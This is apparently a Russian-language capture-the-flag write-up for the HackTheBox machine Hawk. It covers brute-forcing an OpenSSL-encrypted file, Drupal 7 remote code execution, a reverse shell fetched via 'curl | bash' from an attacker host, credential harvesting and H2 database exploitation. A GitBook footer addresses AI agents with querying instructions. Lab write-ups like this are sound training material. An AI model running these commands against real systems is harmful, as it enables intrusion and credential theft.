> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md). # Разбор Hawk на HackTheBox {% embed url="" %} {% hint style="warning" %} **Навыки:** * Грубый перебор и расшифровка шифра OpenSSL * Перечисление/эксплуатация Drupal * Эксплуатация базы данных H2 {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.
**Проверка подключения VPN** Проверка VPN-соединения для обеспечения стабильной связи с целевой машиной
**Обнаружение открытых портов с помощью Nmap:** Поиск открытых портов и экспорт в файл "allPorts" в каталоге Nmap. ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts ```
**Анализ открытых портов с помощью extractPorts:** Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена (21,22,80,5435,9092)
#### Сканирование версий портов с Nmap: Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted": ```bash nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted ```
### Порт 21 — FTP Мы подключаемся как **anonymous** пользователь и обнаруживаем скрытый файл под названием `.drupal.txt.enc`.
## Грубый перебор — Openssh (.enc) > У **.enc** расширение обычно указывает на **закодированный** файл (зашифрован). Этот термин используется для обозначения того, что содержимое файла защищено алгоритмом шифрования, делая данные нечитаемыми без соответствующего ключа или пароля. Такие файлы могут содержать любые типы данных (текст, изображения, видео и т. д.) и обычно используются для защиты конфиденциальной информации. У `.enc` файл зашифрован алгоритмом **AES-256-CBC** и закодирован в **Base64**.
**Шаг 1: Декодирование Base64** ```bash cat .drupal.txt.enc | base64 -d > file_decoded.enc ```
**Шаг 2: Расшифровка с помощью OpenSSL** Чтобы расшифровать файл, нам нужен пароль. Вот команда для попытки ручной расшифровки: ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 ```
**Шаг 3: Скрипт автоматизации для перебора** Мы используем Bash-скрипт для проверки списка паролей (например, `rockyou.txt`). ```bash #!/bin/bash function ctrl_c(){ echo -e "/n/n[!] Exiting.../n" tput cnorm; exit 1 } # Ctrl+C trap ctrl_c INT tput civis for password in $(cat /usr/share/wordlists/rockyou.txt); do openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null if [ "$(echo $?)" == "0" ]; then echo -e "/n[+] The password is : $password/n" exit 0 fi done; tput cnorm ``` **Результат:** Найденный пароль: **друзья**
#### **Расшифрованное сообщение** Расшифрованный файл содержит новый пароль: ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 друзья ``` * **PencilKeyboardScanner123**
## Порт 80 - HTTP На порту 80 размещается CMS Drupal 7. ```bash whatweb 10.10.10.102 ```
**Аутентификация — доступ по паролю** Попробуйте подключиться с помощью `PencilKeyboardScanner123` пароля для пользователя `admin` и аутентификация проходит успешно.
### Обратная оболочка — Drupal 7 Мы будем использовать следующий скрипт для выполнения команд на сервере Drupal версии ниже 7 (CVE-2018-7602): {% embed url="" %} ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru" ``` Эта команда позволяет выполнить `id` команду на сервере.
**Доступ к серверу**/ Чтобы установить доступ к серверу, нам нужно прослушивать порт 443 с помощью `nc` ```bash nc -nvlp 443 ``` Затем вы создаёте `index.html` файл со следующим содержимым, чтобы установить обратную оболочку: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.30/443 0>&1 ``` **Веб-сервер и выполнение команд**/ Запускает HTTP-сервер с помощью Python: ```bash python3 -m http.server 80 ``` Затем отправьте следующую команду для загрузки и запуска скрипта: ```bash curl http://10.10.14.3 | bash ``` ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru" ```
**Стабилизация терминала** Для управления терминалом используются следующие команды: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Флаг user.txt :)
## **Повышение привилегий** Исследуя веб-каталог в `/var/www/html`, можно увидеть несколько конфигурационных файлов. Среди них выделяется интересный файл:
**Путь:** `sites/default/settings.php` При изучении этого файла мы находим конфиденциальную информацию: * Имя пользователя: drupal * Пароль: drupal4hawk
Эти учетные данные позволяют подключиться к базе данных MySQL. Для этого используются следующие команды: ```bash mysql -u drupal -p ```
После ввода пароля выводятся все доступные базы данных, а затем выбирается база данных, связанная с Drupal: ```sql show databases; use drupal; ``` Оказавшись в базе данных, мы изучаем содержимое `users` таблицы, чтобы найти интересную информацию: ``` SELECT * FROM users; ``` В этой таблице мы находим хешированный пароль, связанный с пользователем:
* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08` ### Грубый перебор John — хеш пароля Используйте John для взлома хеша пароля ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` Однако в данном случае совпадение не было найдено в `rockyou.txt` списке паролей. ### Выход из Python в обычный Bash Мы получили доступ к серверу как `daniel` пользователь с паролем, связанным с базой данных (в этом примере, **drupal4hawk**). Вот команда для подключения: ```bash ssh daniel@10.10.10.182 ``` Пароль: **drupal4hawk** После подключения мы сразу попадаем в интерпретатор Python.
Чтобы вернуться к обычной оболочке Bash, мы можем использовать `os` модуль для выполнения команды Bash. Вот шаги: 1. Импортируйте модуль `os` : ```python import os ``` 2. Запустите оболочку Bash: ```python os.system('/bin/bash') ``` Это позволит вам получить доступ к обычной оболочке Bash из интерпретатора Python.
## Эксплуатация базы данных H2 /*/* Анализ открытых портов/*/* Для начала мы перечисляем открытые порты внутри сети с помощью следующей команды: ```bash netstat -tuln ``` Мы определяем, что порт **8082** открыт и обслуживает сервис. Анализируя его, мы обнаруживаем, что это CMS базы данных: **H2 Database**.
Чтобы получить доступ к этому сервису с нашей машины, мы выполняем перенаправление порта с помощью **SSH**, перенаправляя внутренний порт 8082 на порт 8082 нашей локальной машины:
### Перенаправление порта Чтобы получить доступ к этому сервису с нашей машины, мы выполняем перенаправление порта с помощью **SSH**, перенаправляя внутренний порт 8082 на порт 8082 нашей локальной машины: ```bash ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102 ``` ### База данных H2:
Мы используем **searchsploit** для поиска известных уязвимостей, связанных с H2 Database:
``` searchsploit -m java/webapps/45506.py ``` Мы находим интересную возможность, позволяющую удалённое выполнение команд: ```bash python3 45506.py -H 127.0.0.1:8082 ```
### Флаг root.txt :) Скрипт позволяет нам выполнять команды на целевой машине. Исследуя систему, мы получаем **флаг root.txt**.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.